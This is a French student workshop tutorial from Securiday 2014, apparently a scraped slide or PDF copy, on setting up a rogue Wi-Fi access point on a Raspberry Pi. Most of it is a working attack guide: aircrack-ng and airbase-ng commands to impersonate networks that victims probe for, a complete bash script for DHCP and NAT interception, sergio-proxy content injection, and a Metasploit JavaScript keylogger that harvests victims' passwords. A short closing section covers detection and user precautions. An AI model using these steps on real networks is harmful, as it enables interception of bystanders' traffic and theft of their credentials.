rogue raspberry pi

Post on 07-Feb-2017

248 Views

Category:

Documents

3 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Raspberry Rogue Access Point

HAKIM KHANCHOUCH (ESPRIT)

WAJD KANZALI (ESPRIT)

CHOKRI JEMAI (ESPRIT)

MALEK BADREDDINE (ESPRIT)

ASMA DAOUD (ESPRIT)

NIDHAL ABIDI (ESPRIT)

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

1

Table Métier I. Présentation ...................................................................................................................... 2

II. Présentation des outils utilisés ........................................................................................ 2

1. Raspberry Pi : ................................................................................................................ 2

2. Raspbian : ...................................................................................................................... 3

3. Karmasploit : ................................................................................................................. 5

III. Topologie réseau........................................................................................................... 5

IV. Configuration des outils................................................................................................ 6

1. Rasbian: ......................................................................................................................... 6

2. aircrack-ng: .................................................................................................................. 62

3. udhcpd: ....................................................................................................................... 62

4. metasploit(karma): ..................................................................................................... 63

5. Rasbian: ....................................................................................................................... 63

V. Scénario de test ................................................................................................................ 8

Principe et fonctionnement :....................................................................................... 85

VII. Conclusion ................................................................................................................... 17

Table des figures Figure 1 : RasBerry Pi ................................................................................................................. 3

Figure 2: Schéma index.............................................................................................................. 3

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

2

I. Présentation A travers ce tutoriel, vous allez découvrir à quel point il est aisé de créer un

faux point d'accès ressemblant à s'y méprendre à un hotspot wifi. Vous

réaliserez ainsi qu'il est extrêmement dangereux de se connecter à des

réseaux wifi mal protégés en plus on va essayer d'injecter des données

arbitraires dans la session, lancer des attaques de navigateurs depuis

Metasploit, et dynamiquement remplacer les fichiers avec les versions

malveillantes.

II. Présentation des outils utilisés

1. Raspberry Pi :

RaspberryPiModèle B avec 512 Mo de RAM.

Le Raspberry Pi est un nano-ordinateur mono-carte à processeur ARM dont les

particularités sont la très petite taille et le prix modique 100 DT (35$) . Cet ordinateur

permet d'exécuter de plusieurs variantes de système d'exploitation libre GNU/Linux

tels que pedora ,Raspbian (très recommandée ) , arch , slackware .Android fonctionne

également sur le raspberry Pi tout comme freeBSD et netBSD.

On a choisi le Raspberry Pi essentiellement pour sa portabilité et aussi grâce à la

flexibilité qu'il offre au niveau de l'utilisation.

Par exemple vous pouvez cédez votre gentillesse sur les ondes wifi en partagent votre

connexion 3G avec vos amis à l'aide de la PI ou vous pouvez être malin en les

piégeant.

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

3

Figure 1 : RasBerry Pi

Figure 2: Schéma index

2. Raspbian :

Raspbian est un système d'exploitation libre et gratuit basé sur :

Linux/GNU/Debian et optimisé pour fonctionner sur un Raspberry Pi.

a. Aircrack-ng

Aircrack-ng est une suite de logiciels de surveillance des réseaux sans fil dont

l'utilisation principale est de « casser » les clés WEP et WPA des réseaux WIFI.

C'est en fait une "reprise" du logiciel aircrack (premier du nom) qui a été abandonné.

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

4

La suite Aircrack-NG contient entre autres les outils suivants:

aircrack-ng : Casseur de clés WEP statiques et WPA-PSK (Nouveau type de

casseur: PTW).

airdecap-ng: Décrypteur de fichiers WEP/WPA capturés.

airdriver-ng: Permet de patcher les drivers, par exemple pour le cas du

rtl8187, ce qui est utile pour faire l'injection de paquet.

aireplay-ng : Programme d'injection de paquets 802.11 (disponible sous

Linux et FreeBSD seulement).

airmon-ng : Permet d'activer/désactiver le mode moniteur d'une carte wifi.

Dans ce mode la carte wifi, se place en "observateur" du réseau.

airodump-ng : Programme de capture de paquets 802.11.

airolib-ng : Utile pour le bruteforce de clef WPA. Il crée une base de données

contenant vos fichiers dictionnaire pour un ou plusieurs SSID.

Le crack est très rapide avec cette méthode, cependant c'est que la création de

la base de données qui elle sera longue.

airserv-ng : Permet de lancer une machine avec une interface en mode

moniteur, et l'utiliser depuis une autre machine avec la suite aircrack-ng, en

spécifiant l'adresse IP et le port .

airtun-ng : Programme pour la création d'une interface virtuelle.

easside-ng : Permet de communiquer à un point d'accès en WEP sans

connaître la clé.

packetforge-ng : Permet de forger des paquets ARP, UDP, ICMP ou

personnalisés.

wesside-ng : Crack automatiquement une clef WEP en essayant toutes les

attaques.

Airbase-ng :Est destiné à créer des AP (Access Point) via une carte réseau wi-

fi.

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

5

3. Karmasploit :

Karmetasploit est un outil en ruby qui fonctionne grâceàMetasploit et qui permet de

mettre en place un faux point d’accès wifi et capturer les mots de passe qui transitent.

III. Topologie réseau

Dans un réseau wlan on va placer notre raspberry pi pour rediriger le traffic et

se mettre en MITM entre les machines et le point d'accés

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

6

IV. Configuration des outils On commence par la configuration de notre raspberry , on a choisit l'os

rasbian version devian pour la raspberry pi

1. Rasbian:

préparer la carte SD pour accueillir Rasbian

1- Connecter la carte SD au lecteur puis dans le terminal, tapez :

df-h 2- Chercher la ligne correspondant à votre carte mémoire :

umountdev/mmdisk1

# dd bs=1M if=wheezy-raspbian.img of=/dev/mmdick1

3- wheezy-raspbian.img : l'image de l'OS télécharger :

http://93.174.99.29/bt/fed394df53483a20bb44f549cce7e8cf7c4b2058/data/201

4-01-07-wheezy-raspbian.zip

4- mmdisk1 : carte mémoire de 8Go

5- mise en route du RPi (Raspberry Pi)

6- écran d'amorçage pour la configuration du Rasbian

7- Paramétrage du serveur SSH :

On ouvre le terminal et on tape :

sudo bash ssh-keyg

apt-get update && apt-get install libpcap0.8 libpcap0.8-dev libnet1 pcaputils

libssl0.9.8 libssl-dev

sudo apt-get -y install subversion libssl-dev libsqlite3-dev libnl1 libnl-dev build-

essential ksh

svn co http://svn.aircrack-ng.org/trunk/aircrack-ng

cdaircrack-ng

makesqlite=true

makesqlite=true unstable=true

sudo make sqlite=true unstable=true install

on va installer un serveur dhcp appeller udhcpd

apt-get install udhcpd

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

7

On alloue donc à la personne qui va demander une ip le range 192.168.2.10-

20, on dit que le serveur DNS est 192.168.2.1, et que notre netmask est

255.255.255.0

Une fois DHCPD configuré (on le démarre pas pour le moment...), on va

commencer par autoriser un "foward" IPV4 en lancant cette commande:

pour la configuration du firewall rasbian utilise par defaut le firewall netfilter

Iptables :

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Et pour injecter des données on va utiliser sergio proxy

sergio-proxy

Un proxy, à travers lequel est envoyé le trafic de la cible. Le trafic peut être

analysé et modifié, comme nous allons le voir.

cd /pentest/web/

wget -P http://sergio-proxy.googlecode.com/files/sergio-proxy-v0.2.1.tar.gz

tar -xf sergio-proxy-v0.2.1.tar.gz

rm sergio-proxy-v0.2.1.tar.gz

voir : https://antaresnotebook.wordpress.com/2013/03/31/tuto-rogue-ap-

episode-2-sniffing-de-base-et-un-peu-de-fun/

karma sploit :

On commence par installer le framework-metasploit :

# svn co http://metasploit.com/svn/framework3/trunk msf3

# gem install activerecord sqlite3-ruby

https://github.com/dpzhang314/pentest/tree/master/net-

wireless/karmetasploit/files

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

8

voir :http://www.darkoperator.com/installing-metasploit-in-ubunt/

V. Scénario de test

Principe et fonctionnement :

Notre victime se retrouve sur un réseau effectivement connecté à l'internet,

dans ce cas la connexion est représentée par «internet», mais il se peut

que l'attaquant ne laisse aucun accès à l'internet pour se jouer de sa victime.

Il se peut aussi que l'attaquant laisse la victime accéder à l'internet de

façon transparente, et sniffe toutes les données au passage.

La victime veut aller sur www.goolge.com et s'est retrouvé sur ce qui

semblait être le portail d'authentification du hotspot légitime, comment

est-ce possible? Tout simplement parce que le réseau abrite un serveur

web hébergeant des pages trafiquées ressemblant à s'y méprendre aux

pages originales. Il est assez simple d'enregistrer des pages web et de

les modifier si l'on connait quelque peu le langage html. Il suffit alors

de mettre ces fausses pages sur le serveur web, et de rediriger la victime

vers ce dernier. Sachez d'ailleurs qu'une seule machine suffit pour

l'attaque, le serveur web peut très bien être hébergé sous notre raspberry

pi , voir mêmen'importe oùsur le net. Le serveur web est représenté ici

par une autre machine pour clarifier les interactions au sein du réseau La

technique consiste à déconnecter la victime du Hotspot légitime pour qu'elle

se reconnecte à la Rogue AP contrôlée par le Pirate

Votre carte bascule donc en mode monitor sur une interface virtuelle (dans

mon cas, mais pas pour tous, tout dépends de votre carte) et nous démarrons

airodump-ng sur l'interface mon0 pour écouter ce qui ce passe dans les airs

(sniffer) on peut constater que :

airmon-ng start wlan0&&airodump-ng mon0

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

9

On constate donc que la machine possédantla mac adresse

"00:1E:E5:A4:DA:E2" est connectée sur le routeur "default" mais elle continue

de "prober" pour le routeur s'appelant test, et un autre routeur nommé

test2.

Maintenant c'est là que notre attaque va prendre naissance, nous allons

premièrement nous faire passer pour un routeur que la machine visée

recherche via l’outil

airbase-ng, et surtout rediriger tous les paquets sur une autre carte réseau

afin que la personne continue d'avoir une connections internet et ainsi

effectuer un man in the middle sur notre victime.

On NAT donc notre victime sur le foward de notre autre carte réseau.

L'attaque en elle-même est relativement simple, on a en gros 2 choix intéressants dans

ce type d'attaque avec airbase-ng:

Soit on vise une victime

Soit on en vise de multiples

Si l'on vise une victime on va prendre un des SSID qu'elle probe genre test, et lancer

ces commandes :

On lance la carte wi-fi en mode monitor

L'attaque en elle-même est relativement simple, on a en gros 2 choix intéressants dans

ce type d'attaque avec airbase-ng:

Soit on vise une victime

soit on en vise de multiples

Si l'on vise une victime on va prendre un des SSID qu'elle probe genre test, et lancer

ces commandes :

On lance la carte wi-fi en mode monitor

Notez bien que la mac adresse pour laquelle on se fait passer est fausse et spoofable

via airbase-ng, tout comme elle aurait pu l'être via un édit de ifconfig(

ifconfig<interface>hw<class><address> ), ou via le tool GNU macchanger qui

automatise ceci rapidement et simplement.

Et finalement notre commande/foward final :

On redirige donc en toute **transparence** tout ce qui passe sur mon0 vers le LAN,

notez que l'on pourrait le rediriger avec autant de simplicité sur une autre interface

WLAN, justement grâce à la virtualisation des interfaces wi-fi ou via une autre

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

10

carte wifi, par exemple USB, ainsi on pourrait prendre le contrôle d'un autre réseau

wi-fi, toujours via la suite Aircrack-ng, ce faire passer celui-ci via notre attaque, et

rediriger tout le trafic final sur ce routeur wi-fi usurpé.

Il existe un mode qui permet de répondre à tous les probes, sur tous les channels mais

beaucoup moins discret, avec l'option -P au lieu de -e, qui au final reste drôle et

considérable, suivant l'endroit où nous nous trouvons évidemment.

On a créé un script pour automatiser le lancement du point d'accès

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

11

#!/bin/bash

# Spécifier les interfaces réseau ici :

NET_IFACE=eth0

ROGUE_IFACE=wlan0

rm /home/udhcpd.*

rm $LOG_FILE

killall airbase-ng

killall udhcpd

airmon-ng stop mon0

# Installation de udhcpd et génération de sa config

echo "Installation de Udhcpd"

echo "(Ca peut prendre un peu de temps...)"

echo "max_leases 10

start 192.168.2.10

end 192.168.2.20

interface at0

domain local

option dns 8.8.8.8

option subnet 255.255.255.0

option router 192.168.2.1

lease 7200

lease_file /home/udhcpd.leases" > /home/udhcpd.conf

touch /home/udhcpd.leases

#Création du réseau WiFi

echo "Démarage du réseau WiFi"

airmon-ng start $ROGUE_IFACE

sleep 3

#airbase-ng -e test mon0 &

airbase-ng -e CyberSeK mon0 &

sleep 5

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

12

ifconfig at0 up

ifconfig at0 192.168.2.1 netmask 255.255.255.0

# Démarrage du DHCP et du Transfert de trafic

echo "Démarrage du serveur DHCP"

udhcpd /home/udhcpd.conf &

echo 1 > /proc/sys/net/ipv4/ip_forward

# Effacer toutes les règles IpTables pour ne garder que les bonnes

iptables -F

iptables -X

iptables -t nat -F

iptables -t nat -X

# Activer le transfert vers l'interface $NET_IFACE

iptables -t nat -A POSTROUTING -o $NET_IFACE -j MASQUERADE &

echo "Le réseau est opérationnel !"

echo "setting up sergio proxy"

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to

192.168.2.1:10000 &

cd sergio-proxy

./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --html-payload

"<script>alert(\"Souriez, vous etes pirates :-)\");</script>" &

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

13

Lorsque quelq’un essaye de se connecter :

1. Injection des données :

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

14

On commence par générer le code avec Metasploit, et on démarre un handler

(un processus d’écoute) :

msfcli auxiliary/server/capture/http_javascript_keylogger URIPATH=keylogger

SRVHOST=192.168.2.1 SRVPORT=8080 E

Une fois que c’est prêt (ça prend un peu de temps, attendez la mention

"Server started"), on démarre sergio-proxy avec les options qui vont bien :

./sergio-proxy.py-l 10000 -w /tmp/sergio-log.txt --inject --js-

url http://192.168.2.1:8080/keylogger/anyname.js

On se retrouve alors avec une console où apparaît tout ce que tape la cible

sur les sites qu’elle visite (login, mot de passe, recherche, messages,…). Le

code sera injecté sur toutes les pages, donc tous les résultats apparaîtront en

même temps ; les différentes sessions sont identifiées par une séquence

aléatoire mais on ne peut pas savoir à quel site ça correspond. Vous noterez

au passage que le résultat est sauvé dans différents fichiers texte au sein du

dossier /root/.msf4/loot/ pour pouvoir lire ça au calme plus tard chez soi au

coin du feu

pour injecter une page html :

./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --html-file

/var/www/image.html --match-str "</head>"

pour remplacer un texte

python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --replacetext --

originaltext "François Hollande" --newtext "Nicolas Sarkozy"

pour remplacer une image

python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --replaceimg --

newimg "http://www.decouvertes63.com/wp-

content/uploads/2011/10/jollyroger.gif"

2. Lancer Karma :

Msfconsole –r karma.rc

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

15

VI. CONTOURNER LES ATTAQUES DE CE

TYPE :

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

16

ni les firewall ni les antivirus peuvent nous proteger contre ce type

d'attaque

Alors ,pour empêcher l'installation de points d'accès non autorisés, les

entreprises peuvent

installer des systèmes de prévention des intrusions sans fil pour

surveiller le spectre radioélectrique pour les points d'accès non autorisés

Un système de prévention des intrusions sans fil facilite le travail de

vérification de ces points d'accès sur

une base continue pour savoir si il y a des points d'accès non autorisés

entre eux.

Afin de détecter les points d'accès non autorisés, deux conditions doivent être

testés:

-si le point d'accès est dans la l

iste des points d'accès gérés

-si oui ou non il est connecté au réseau sécurisé

La première des deux conditions ci

-dessus est facile à essai

-comparer l'adresse MAC sans fil

(aussi appelé BSSID) du point d'accès à la liste de BSSID du point d'accès géré.

Cependant, les

tests automatisés de la deuxième condition peut devenir difficile à la

lumière des facteurs

suivants:

-nécessité de couvrir différents types de dispositifs de points d'accès tels que

les relais, NAT

(routeur), les liaisons sans fil non cry

ptés, des liaisons sans fil cryptés, les différents types de

relations entre les adresses filaires et sans fil MAC des points d'accès, points

d'accès et doux,

-la nécessité de déterminer le point d'accès connectivité avec le temps

de réponse

acceptable d

ans les grands réseaux,

-l'obligation d'éviter les faux positifs et négatifs

NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL

17

VII. Conclusion

La méthodedémotrée dans ce tutoriel permet à quelconque de vous

déconnecter de votre réseau wifi et de créer un réseau approximativement

identique au votre, permettant ainsi votre machine de s'y connecter

automatiquement. Ceci peut être évité si l'on prend les précautions suivantes:

Désactiver la Connexion Automatique sur les réseaux wifi, se connecter

manuellement au réseau désiré vous protège des Rogue Access Points.

Ne pas se connecter sur des wifis dont la source est inconnue, une personne

malveillante peut être à l'origine de ce réseau.

Verifier l'addresse mac du point d'accés auquel nous voulons se connecter

Soyez donc prudent lors de l'utilisation d'un Hotspot Wifi. Le seul moyen de

détecter une

fausse AP est de prendre le temps de bien contrôler le certificat utilisé

top related